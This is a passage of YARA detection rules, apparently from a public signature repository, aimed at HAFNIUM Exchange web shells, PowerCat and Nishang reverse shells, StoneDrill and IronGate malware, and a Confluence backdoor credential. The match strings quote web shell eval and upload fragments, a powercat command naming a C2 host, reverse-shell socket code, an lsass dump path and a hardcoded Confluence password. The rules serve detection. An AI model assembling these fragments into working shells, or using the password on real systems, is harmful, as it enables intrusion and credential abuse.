		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
		date = "2021-03-02"
		id = "872822b0-34d9-5ae4-a532-6a8786494fa9"

	strings:
		$s1 = "lsass.exe C:\\windows\\temp\\lsass" ascii wide fullword
		$s2 = "c:\\ProgramData\\it.zip" ascii wide fullword
		$s3 = "powercat.ps1'); powercat -c" ascii wide fullword

	condition:
		1 of them
}

rule APT_WEBSHELL_HAFNIUM_Chopper_WebShell : APT Hafnium WebShell
{
	meta:
		description = "Detects Chopper WebShell Injection Variant (not only Hafnium related)"
		author = "Markus Neis,Swisscom"
		date = "2021-03-05"
		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
		id = "25dcf166-4aea-5680-b161-c5fc8d74b987"

	strings:
		$x1 = "runat=\"server\">" nocase
		$s1 = "<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request" nocase
		$s2 = "protected void Page_Load(object sender, EventArgs e){System.IO.StreamWriter sw = new System.IO.StreamWriter(Request.Form[\"p\"] , false, Encoding.Default);sw.Write(Request.Form[\"f\"]);"
		$s3 = "<script language=\"JScript\" runat=\"server\"> function Page_Load(){eval (Request[\"" nocase

	condition:
		filesize < 10KB and $x1 and 1 of ( $s* )
}

rule APT_WEBSHELL_Tiny_WebShell : APT Hafnium WebShell
{
	meta:
		description = "Detects WebShell Injection"
		author = "Markus Neis,Swisscom"
		hash = "099c8625c58b315b6c11f5baeb859f4c"
		date = "2021-03-05"
		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
		id = "aa2fcecc-4c8b-570d-a81a-5dfb16c04e05"

	strings:
		$x1 = "<%@ Page Language=\"Jscript\" Debug=true%>"
		$s1 = "=Request.Form(\""
		$s2 = "eval("

	condition:
		filesize < 300 and all of ( $s* ) and $x1
}

rule HKTL_PS1_PowerCat_Mar21
{
	meta:
		description = "Detects PowerCat hacktool"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/besimorhino/powercat"
		date = "2021-03-02"
		hash1 = "c55672b5d2963969abe045fe75db52069d0300691d4f1f5923afeadf5353b9d2"
		id = "ae3963e8-2fe9-5bc3-bf72-95f136622832"

	strings:
		$x1 = "powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com" ascii fullword
		$x2 = "try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}" ascii fullword
		$s1 = "Returning Encoded Payload..." ascii
		$s2 = "$CommandToExecute =" ascii fullword
		$s3 = "[alias(\"Execute\")][string]$e=\"\"," ascii

	condition:
		uint16( 0 ) == 0x7566 and filesize < 200KB and 1 of ( $x* ) or 3 of them
}

rule HKTL_Nishang_PS1_Invoke_PowerShellTcpOneLine
{
	meta:
		description = "Detects PowerShell Oneliner in Nishang's repository"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1"
		date = "2021-03-03"
		hash1 = "2f4c948974da341412ab742e14d8cdd33c1efa22b90135fcfae891f08494ac32"
		id = "0218ebbd-2dbe-5838-ab53-1e78e3f97b9e"

	strings:
		$s1 = "=([text.encoding]::ASCII).GetBytes((iex $" ascii wide
		$s2 = ".GetStream();[byte[]]$" ascii wide
		$s3 = "New-Object Net.Sockets.TCPClient('" ascii wide

	condition:
		all of them
}

rule WEBSHELL_ASPX_SimpleSeeSharp : Webshell Unclassified
{
	meta:
		author = "threatintel@volexity.com"
		date = "2021-03-01"
		description = "A simple ASPX Webshell that allows an attacker to write further files to disk."
		hash = "893cd3583b49cb706b3e55ecb2ed0757b977a21f5c72e041392d1256f31166e2"
		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
		id = "469fdf5c-e09e-5d44-a2e6-0864dcd0e18a"

	strings:
		$header = "<%@ Page Language=\"C#\" %>"
		$body = "<% HttpPostedFile thisFile = Request.Files[0];thisFile.SaveAs(Path.Combine"

	condition:
		$header at 0 and $body and filesize < 1KB
}

rule WEBSHELL_ASPX_reGeorgTunnel : Webshell Commodity
{
	meta:
		author = "threatintel@volexity.com"
		date = "2021-03-01"
		description = "variation on reGeorgtunnel"
		hash = "406b680edc9a1bb0e2c7c451c56904857848b5f15570401450b73b232ff38928"
		reference = "https://github.com/sensepost/reGeorg/blob/master/tunnel.aspx"
		id = "b8aa27c9-a28a-5051-8f81-1184f28842ed"

	strings:
		$s1 = "System.Net.Sockets"
		$s2 = "System.Text.Encoding.Default.GetString(Convert.FromBase64String(StrTr(Request.Headers.Get"
		$t1 = ".Split('|')"
		$t2 = "Request.Headers.Get"
		$t3 = ".Substring("
		$t4 = "new Socket("
		$t5 = "IPAddress ip;"

	condition:
		all of ( $s* ) or all of ( $t* )
}

rule WEBSHELL_ASPX_SportsBall
{
	meta:
		author = "threatintel@volexity.com"
		date = "2021-03-01"
		description = "The SPORTSBALL webshell allows attackers to upload files or execute commands on the system."
		hash = "2fa06333188795110bba14a482020699a96f76fb1ceb80cbfa2df9d3008b5b0a"
		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
		id = "25b23a4c-8fc7-5d6f-b4b5-46fe2c1546d8"

	strings:
		$uniq1 = "HttpCookie newcook = new HttpCookie(\"fqrspt\", HttpContext.Current.Request.Form"
		$uniq2 = "ZN2aDAB4rXsszEvCLrzgcvQ4oi5J1TuiRULlQbYwldE="
		$var1 = "Result.InnerText = string.Empty;"
		$var2 = "newcook.Expires = DateTime.Now.AddDays("
		$var3 = "System.Diagnostics.Process process = new System.Diagnostics.Process();"
		$var4 = "process.StandardInput.WriteLine(HttpContext.Current.Request.Form[\""
		$var5 = "else if (!string.IsNullOrEmpty(HttpContext.Current.Request.Form[\""
		$var6 = "<input type=\"submit\" value=\"Upload\" />"

	condition:
		any of ( $uniq* ) or all of ( $var* )
}

rule WEBSHELL_CVE_2021_27065_Webshells
{
	meta:
		description = "Detects web shells dropped by CVE-2021-27065. All actors, not specific to HAFNIUM. TLP:WHITE"
		author = "Joe Hannon, Microsoft Threat Intelligence Center (MSTIC)"
		date = "2021-03-05"
		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
		id = "27677f35-24a3-59cc-a3ad-b83884128da7"

	strings:
		$script1 = "script language" ascii wide nocase
		$script2 = "page language" ascii wide nocase
		$script3 = "runat=\"server\"" ascii wide nocase
		$script4 = "/script" ascii wide nocase
		$externalurl = "externalurl" ascii wide nocase
		$internalurl = "internalurl" ascii wide nocase
		$internalauthenticationmethods = "internalauthenticationmethods" ascii wide nocase
		$extendedprotectiontokenchecking = "extendedprotectiontokenchecking" ascii wide nocase

	condition:
		filesize < 50KB and any of ( $script* ) and ( $externalurl or $internalurl ) and $internalauthenticationmethods and $extendedprotectiontokenchecking
}

rule APT_MAL_ASPX_HAFNIUM_Chopper_Mar21_3
{
	meta:
		description = "Detects HAFNIUM ASPX files dropped on compromised servers"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
		date = "2021-03-07"
		score = 85
		id = "9c2ba123-63c4-5e9c-a08f-bd9db3304691"

	strings:
		$s1 = "runat=\"server\">void Page_Load(object" ascii wide
		$s2 = "Request.Files[0].SaveAs(Server.MapPath(" ascii wide

	condition:
		filesize < 50KB and all of them
}

rule APT_MAL_ASPX_HAFNIUM_Chopper_Mar21_4
{
	meta:
		description = "Detects HAFNIUM ASPX files dropped on compromised servers"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
		date = "2021-03-07"
		score = 85
		id = "93f5b682-642d-5edf-84a9-296bf12cd72b"

	strings:
		$s1 = "<%@Page Language=\"Jscript\"%>" ascii wide nocase
		$s2 = ".FromBase64String(" ascii wide nocase
		$s3 = "eval(System.Text.Encoding." ascii wide nocase

	condition:
		filesize < 850 and all of them
}

rule APT_HAFNIUM_ForensicArtefacts_WER_Mar21_1
{
	meta:
		description = "Detects a Windows Error Report (WER) that indicates and exploitation attempt of the Exchange server as described in CVE-2021-26857 after the corresponding patches have been applied. WER files won't be written upon successful exploitation before applying the patch. Therefore, this indicates an unsuccessful attempt."
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyb3rops/status/1368471533048446976"
		date = "2021-03-07"
		score = 40
		id = "06771101-10ce-5d6b-99f7-a321aade7f69"

	strings:
		$s1 = "AppPath=c:\\windows\\system32\\inetsrv\\w3wp.exe" wide fullword
		$s7 = ".Value=w3wp#MSExchangeECPAppPool" wide

	condition:
		uint16( 0 ) == 0xfeff and filesize < 8KB and all of them
}

rule APT_HAFNIUM_ForensicArtefacts_Cab_Recon_Mar21_1
{
	meta:
		description = "Detects suspicious CAB files used by HAFNIUM for recon activity"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3?u=dstepanic"
		date = "2021-03-11"
		score = 70
		id = "b0caf9d9-af0a-5181-85e4-6091cd6699e3"

	strings:
		$s1 = "ip.txt" ascii fullword
		$s2 = "arp.txt" ascii fullword
		$s3 = "system" ascii fullword
		$s4 = "security" ascii fullword

	condition:
		uint32( 0 ) == 0x4643534d and filesize < 10000KB and ( $s1 in ( 0 .. 200 ) and $s2 in ( 0 .. 200 ) and $s3 in ( 0 .. 200 ) and $s4 in ( 0 .. 200 ) )
}

rule WEBSHELL_Compiled_Webshell_Mar2021_1
{
	meta:
		description = "Triggers on temporary pe files containing strings commonly used in webshells."
		author = "Bundesamt fuer Sicherheit in der Informationstechnik"
		date = "2021-03-05"
		modified = "2021-03-12"
		reference = "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf"
		id = "9336bd2c-791c-5c3e-9733-724a6a23864a"

	strings:
		$x1 = /App_Web_[a-zA-Z0-9]{7,8}.dll/ ascii wide fullword
		$a1 = "~/aspnet_client/" ascii wide nocase
		$a2 = "~/auth/" ascii wide nocase
		$b1 = "JScriptEvaluate" ascii wide fullword
		$c1 = "get_Request" ascii wide fullword
		$c2 = "get_Files" ascii wide fullword
		$c3 = "get_Count" ascii wide fullword
		$c4 = "get_Item" ascii wide fullword
		$c5 = "get_Server" ascii wide fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize > 5KB and filesize < 40KB and all of ( $x* ) and 1 of ( $a* ) and ( all of ( $b* ) or all of ( $c* ) )
}

rule APT_MAL_ASP_DLL_HAFNIUM_Mar21_1
{
	meta:
		description = "Detects HAFNIUM compiled ASP.NET DLLs dropped on compromised servers"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
		date = "2021-03-05"
		score = 65
		hash1 = "097f5f700c000a13b91855beb61a931d34fb0abb738a110368f525e25c5bc738"
		hash2 = "15744e767cbaa9b37ff7bb5c036dda9b653fc54fc9a96fe73fbd639150b3daa3"
		hash3 = "52ae4de2e3f0ef7fe27c699cb60d41129a3acd4a62be60accc85d88c296e1ddb"
		hash4 = "5f0480035ee23a12302c88be10e54bf3adbcf271a4bb1106d4975a28234d3af8"
		hash5 = "6243fd2826c528ee329599153355fd00153dee611ca33ec17effcf00205a6e4e"
		hash6 = "ebf6799bb86f0da2b05e66a0fe5a9b42df6dac848f4b951b2ed7b7a4866f19ef"
		id = "68b8252e-a07d-5507-b556-a4d473f98157"

	strings:
		$s1 = "Page_Load" ascii fullword
		$sc1 = { 20 00 3A 00 20 00 68 00 74 00 74 00 70 00 3A 00
               2F 00 2F 00 (66|67) 00 2F 00 00 89 A3 0D 00 0A 00 }
		$op1 = { 00 43 00 58 00 77 00 30 00 4a 00 45 00 00 51 7e 00 2f }
		$op2 = { 58 00 77 00 30 00 4a 00 45 00 00 51 7e 00 2f 00 61 00 }
		$op3 = { 01 0e 0e 05 20 01 01 11 79 04 07 01 12 2d 04 07 01 12 31 02 }
		$op4 = { 5e 00 03 00 bc 22 00 00 00 00 01 00 85 03 2b 00 03 00 cc }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and all of ( $s* ) or all of ( $op* )
}

rule WEBSHELL_HAFNIUM_CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
{
	meta:
		author = "CISA Code & Media Analysis"
		date = "2021-03-17"
		description = "Detects CVE-2021-27065 Webshellz"
		hash = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
		reference = "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-084a"
		id = "81916396-8aaa-5045-b31c-4bcce8d295a5"

	strings:
		$s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
		$s1 = { 65 76 61 6C 28 }
		$s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
		$s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
		$s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }

	condition:
		$s0 or ( $s1 and $s2 ) or ( $s3 and $s4 )
}

rule WEBSHELL_HAFNIUM_CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
{
	meta:
		author = "CISA Code & Media Analysis"
		date = "2021-03-17"
		description = "Detects CVE-2021-27065 Exchange OAB VD MOD"
		hash = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
		reference = "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-084a"
		id = "34a89a6e-fa8a-5c64-a325-30202e20b30f"

	strings:
		$s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
		$s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
		$s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }

	condition:
		$s0 and $s1 and $s2
}

rule WEBSHELL_ASPX_FileExplorer_Mar21_1
{
	meta:
		description = "Detects Chopper like ASPX Webshells"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2021-03-31"
		score = 80
		hash1 = "a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75"
		id = "edcaa2a8-6fea-584e-90c2-307a2dfc9f7f"

	strings:
		$x1 = "<span style=\"background-color: #778899; color: #fff; padding: 5px; cursor: pointer\" onclick=" ascii
		$xc1 = { 3C 61 73 70 3A 48 69 64 64 65 6E 46 69 65 6C 64
               20 72 75 6E 61 74 3D 22 73 65 72 76 65 72 22 20
               49 44 3D 22 ?? ?? ?? ?? ?? 22 20 2F 3E 3C 62 72
               20 2F 3E 3C 62 72 20 2F 3E 20 50 72 6F 63 65 73
               73 20 4E 61 6D 65 3A 3C 61 73 70 3A 54 65 78 74
               42 6F 78 20 49 44 3D }
		$xc2 = { 22 3E 43 6F 6D 6D 61 6E 64 3C 2F 6C 61 62 65 6C
               3E 3C 69 6E 70 75 74 20 69 64 3D 22 ?? ?? ?? ??
               ?? 22 20 74 79 70 65 3D 22 72 61 64 69 6F 22 20
               6E 61 6D 65 3D 22 74 61 62 73 22 3E 3C 6C 61 62
               65 6C 20 66 6F 72 3D 22 ?? ?? ?? ?? ?? 22 3E 46
               69 6C 65 20 45 78 70 6C 6F 72 65 72 3C 2F 6C 61
               62 65 6C 3E 3C 25 2D 2D }
		$r1 = "(Request.Form[" ascii
		$s1 = ".Text + \" Created!\";" ascii
		$s2 = "DriveInfo.GetDrives()" ascii
		$s3 = "Encoding.UTF8.GetString(FromBase64String(str.Replace(" ascii
		$s4 = "encodeURIComponent(btoa(String.fromCharCode.apply(null, new Uint8Array(bytes))));;"

	condition:
		uint16( 0 ) == 0x253c and filesize < 100KB and ( 1 of ( $x* ) or 2 of them ) or 4 of them
}

rule WEBSHELL_ASPX_Chopper_Like_Mar21_1
{
	meta:
		description = "Detects Chopper like ASPX Webshells"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2021-03-31"
		score = 85
		hash1 = "ac44513e5ef93d8cbc17219350682c2246af6d5eb85c1b4302141d94c3b06c90"
		id = "a4dc1880-865f-5e20-89a2-3a642c453ef9"

	strings:
		$s1 = "http://f/<script language=\"JScript\" runat=\"server\">var _0x" ascii
		$s2 = "));function Page_Load(){var _0x" ascii
		$s3 = ";eval(Request[_0x" ascii
		$s4 = "','orange','unsafe','" ascii

	condition:
		filesize < 3KB and 1 of them or 2 of them
}

rule CVE_2014_4076_Exploitcode
{
	meta:
		description = "Detects an exploit code for CVE-2014-4076"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Neo23x0/yarGen"
		date = "2018-04-04"
		hash1 = "44690af85efef2db04c7e8cba7ca0d0e53be1a1432a339570a7d26eec860b8ee"
		id = "83563dea-63d9-58a9-82ed-275455122571"

	strings:
		$x1 = "[+] Created a new cmd.exe process" fullword ascii
		$x2 = "[+] Modified shellcode" fullword ascii
		$x3 = "[*] Spawning SYSTEM shell..." fullword ascii
		$x4 = "[*] MS14-070 (CVE-2014-4076) x86" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of them
}

import "pe"
import "math"

rule susp_file_enumerator_with_encrypted_resource_101
{
	meta:
		copyright = "Kaspersky Lab"
		description = "Generic detection for samples that enumerate files with encrypted resource called 101"
		hash = "2cd0a5f1e9bcce6807e57ec8477d222a"
		hash = "c843046e54b755ec63ccb09d0a689674"
		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
		version = "1.4"
		id = "9bc16ec2-c94c-54f5-b09c-88a78e9e3fb2"

	strings:
		$mz = "This program cannot be run in DOS mode."
		$a1 = "FindFirstFile" ascii wide nocase
		$a2 = "FindNextFile" ascii wide nocase
		$a3 = "FindResource" ascii wide nocase
		$a4 = "LoadResource" ascii wide nocase

	condition:
		uint16( 0 ) == 0x5A4D and all of them and filesize < 700000 and pe.number_of_sections > 4 and pe.number_of_resources > 1 and pe.number_of_resources < 15 and for any i in ( 0 .. pe.number_of_resources - 1 ) : ( ( math.entropy ( pe.resources [ i ] . offset , pe.resources [ i ] . length ) > 7.8 ) and pe.resources [ i ] . id == 101 and pe.resources [ i ] . length > 20000 and pe.resources [ i ] . language == 0 and not ( $mz in ( pe.resources [ i ] . offset..pe.resources [ i ] . offset + pe.resources [ i ] . length ) ) )
}

rule StoneDrill_main_sub
{
	meta:
		author = "Kaspersky Lab"
		description = "Rule to detect StoneDrill (decrypted) samples"
		hash1 = "d01781f1246fd1b64e09170bd6600fe1"
		hash2 = "ac3c25534c076623192b9381f926ba0d"
		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
		version = "1.0"
		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"

	strings:
		$code = {B8 08 00 FE 7F FF 30 8F 44 24 ?? 68 B4 0F 00 00 FF 15 ?? ?? ?? 00 B8 08 00 FE 7F FF 30 8F 44 24 ?? 8B ?? 24 [1 - 4] 2B ?? 24 [6] F7 ?1 [5 - 12] 00}

	condition:
		uint16( 0 ) == 0x5A4D and $code and filesize < 5000000
}

rule StoneDrill_BAT_1
{
	meta:
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		description = "Rule to detect Batch file from StoneDrill report"
		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"

	strings:
		$s1 = "set u100=" ascii
		$s2 = "set u200=service" ascii fullword
		$s3 = "set u800=%~dp0" ascii fullword
		$s4 = "\"%systemroot%\\system32\\%u100%\"" ascii
		$s5 = "%\" start /b %systemroot%\\system32\\%" ascii

	condition:
		uint32( 0 ) == 0x68636540 and 2 of them and filesize < 500
}

rule StoneDrill_Service_Install
{
	meta:
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		description = "Rule to detect Batch file from StoneDrill report"
		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"

	strings:
		$s1 = "127.0.0.1 >nul && sc config" ascii
		$s2 = "LocalService\" && ping -n" ascii fullword
		$s3 = "127.0.0.1 >nul && sc start" ascii fullword
		$s4 = "sc config NtsSrv binpath= \"C:\\WINDOWS\\system32\ntssrvr64.exe" ascii

	condition:
		2 of them and filesize < 500
}

rule StoneDrill_ntssrvr32
{
	meta:
		description = "Detects malware from StoneDrill threat report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
		date = "2017-03-07"
		modified = "2023-01-27"
		hash1 = "394a7ebad5dfc13d6c75945a61063470dc3b68f7a207613b79ef000e1990909b"
		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"

	strings:
		$s1 = "g\\system32\\" wide
		$s2 = "ztvttw" fullword wide
		$s3 = "lwizvm" fullword ascii
		$op1 = { 94 35 77 73 03 40 eb e9 }
		$op2 = { 80 7c 41 01 00 74 0a 3d }
		$op3 = { 74 0a 3d 00 94 35 77 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 4000KB and 3 of them )
}

rule StoneDrill_Malware_2
{
	meta:
		description = "Detects malware from StoneDrill threat report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
		date = "2017-03-07"
		hash1 = "69530d78c86031ce32583c6800f5ffc629acacb18aac4c8bb5b0e915fc4cc4db"
		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"

	strings:
		$s1 = "cmd /c WMIC Process Call Create \"C:\\Windows\\System32\\Wscript.exe //NOLOGO " fullword wide
		$s2 = "C:\\ProgramData\\InternetExplorer" fullword wide
		$s3 = "WshShell.CopyFile \"" fullword wide
		$s4 = "Abd891.tmp" fullword wide
		$s5 = "Set WshShell = Nothing" fullword wide
		$s6 = "AaCcdDeFfGhiKLlMmnNoOpPrRsSTtUuVvwWxyZz32" fullword ascii
		$s7 = "\\FileInfo.txt" wide
		$x1 = "C-PDI-C-Cpy-T.vbs" fullword wide
		$x2 = "C-Dlt-C-Org-T.vbs" fullword wide
		$x3 = "C-PDC-C-Cpy-T.vbs" fullword wide
		$x4 = "AC-PDC-C-Cpy-T.vbs" fullword wide
		$x5 = "C-Dlt-C-Trsh-T.tmp" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 700KB and ( 1 of ( $x* ) or 3 of ( $s* ) ) ) or 5 of them
}

rule StoneDrill
{
	meta:
		description = "Detects malware from StoneDrill threat report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
		date = "2017-03-07"
		super_rule = 1
		hash1 = "2bab3716a1f19879ca2e6d98c518debb107e0ed8e1534241f7769193807aac83"
		hash2 = "62aabce7a5741a9270cddac49cd1d715305c1d0505e620bbeaec6ff9b6fd0260"
		hash3 = "69530d78c86031ce32583c6800f5ffc629acacb18aac4c8bb5b0e915fc4cc4db"
		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"

	strings:
		$x1 = "C-Dlt-C-Trsh-T.tmp" fullword wide
		$x2 = "C-Dlt-C-Org-T.vbs" fullword wide
		$s1 = "Hello dear" fullword ascii
		$s2 = "WRZRZRAR" fullword ascii
		$opa1 = { 66 89 45 d8 6a 64 ff }
		$opa2 = { 8d 73 01 90 0f bf 51 fe }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and 1 of ( $x* ) or ( all of ( $op* ) and all of ( $s* ) )
}

rule StoneDrill_VBS_1
{
	meta:
		description = "Detects malware from StoneDrill threat report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
		date = "2017-03-07"
		hash1 = "0f4d608a87e36cb0dbf1b2d176ecfcde837070a2b2a049d532d3d4226e0c9587"
		id = "a7ee3bd4-eeae-5eb4-92e7-9601ec17300a"

	strings:
		$x1 = "wmic /NameSpace:\\\\root\\default Class StdRegProv Call SetStringValue hDefKey = \"&H80000001\" sSubKeyName = \"Software\\Micros" ascii
		$x2 = "ping 1.0.0.0 -n 1 -w 20000 > nul" fullword ascii
		$s1 = "WshShell.CopyFile \"%COMMON_APPDATA%\\Chrome\\" ascii
		$s2 = "WshShell.DeleteFile \"%temp%\\" ascii
		$s3 = "WScript.Sleep(10 * 1000)" fullword ascii
		$s4 = "Set WshShell = CreateObject(\"Scripting.FileSystemObject\") While WshShell.FileExists(\"" ascii
		$s5 = " , \"%COMMON_APPDATA%\\Chrome\\" ascii

	condition:
		( filesize < 1KB and 1 of ( $x* ) or 2 of ( $s* ) )
}

rule VULN_Confluence_Questions_Plugin_CVE_2022_26138_Jul22_1
{
	meta:
		description = "Detects properties file of Confluence Questions plugin with static user name and password (backdoor) CVE-2022-26138"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.bleepingcomputer.com/news/security/atlassian-fixes-critical-confluence-hardcoded-credentials-flaw/"
		date = "2022-07-21"
		score = 50
		id = "1443c673-2a86-5431-876a-c8fccba52190"

	strings:
		$x_plain_1 = "predefined.user.password=disabled1system1user6708"
		$jar_marker = "/confluence/plugins/questions/"
		$jar_size_1 = { 00 CC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
      /*    here starts default.properties v                          */
                      ?? ?? ?? ?? ?? ?? 00 64 65 66 61 75 6C 74 2E 70
                      72 6F 70 65 72 74 69 65 73 50 4B }
		$jar_size_2 = { 00 CC 00 ?? ?? ?? ?? ?? 00 64 65 66 61 75 6C 74
                      2E 70 72 6F 70 65 72 74 69 65 73 }

	condition:
		1 of ( $x* ) or ( $jar_marker and 1 of ( $jar_size* ) )
}

import "pe"

rule BKDR_Snarasite_Oct17
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-10-07"
		hash1 = "36ba92cba23971ca9d16a0b4f45c853fd5b3108076464d5f2027b0f56054fd62"
		id = "3a5d156a-529b-52ae-9b6a-d454895eb1fb"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( pe.imphash ( ) == "322bef04e1e1ac48875036e38fb5c23c" or pe.imphash ( ) == "15088754757513c92fa36ba5590e907b" )
}

rule IronGate_APT_Step7ProSim_Gen
{
	meta:
		description = "Detects IronGate APT Malware - Step7ProSim DLL"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/Mr6M2J"
		date = "2016-06-04"
		score = 90
		hash1 = "0539af1a0cc7f231af8f135920a990321529479f6534c3b64e571d490e1514c3"
		hash2 = "fa8400422f3161206814590768fc1a27cf6420fc5d322d52e82899ac9f49e14f"
		hash3 = "5ab1672b15de9bda84298e0bb226265af09b70a9f0b26d6dfb7bdd6cbaed192d"
		id = "a73cf9e2-c24f-5553-92e2-3a1a882a4a06"

	strings:
		$x1 = "\\obj\\Release\\Step7ProSim.pdb" ascii
		$s1 = "Step7ProSim.Interfaces" fullword ascii
		$s2 = "payloadExecutionTimeInMilliSeconds" fullword ascii
		$s3 = "PackagingModule.Step7ProSim.dll" fullword wide
		$s4 = "<KillProcess>b__0" fullword ascii
		$s5 = "newDllFilename" fullword ascii
		$s6 = "PackagingModule.exe" fullword wide
		$s7 = "$863d8af0-cee6-4676-96ad-13e8540f4d47" fullword ascii
		$s8 = "RunPlcSim" fullword ascii
		$s9 = "$ccc64bc5-ef95-4217-adc4-5bf0d448c272" fullword ascii
		$s10 = "InstallProxy" fullword ascii
		$s11 = "DllProxyInstaller" fullword ascii
		$s12 = "FindFileInDrive" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 50KB and ( $x1 or 3 of ( $s* ) ) ) or ( 6 of them )
}

rule IronGate_PyInstaller_update_EXE
{
	meta:
		description = "Detects a PyInstaller file named update.exe as mentioned in the IronGate APT"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/Mr6M2J"
		date = "2016-06-04"
		modified = "2023-01-06"
		score = 60
		hash1 = "2044712ceb99972d025716f0f16aa039550e22a63000d2885f7b7cd50f6834e0"
		id = "f8d1b97e-86d9-547f-a212-a84fb068af3c"

	strings:
		$s1 = "bpython27.dll" fullword ascii
		$s5 = "%s%s.exe" fullword ascii
		$s6 = "bupdate.exe.manifest" fullword ascii
		$s9 = "bunicodedata.pyd" fullword ascii
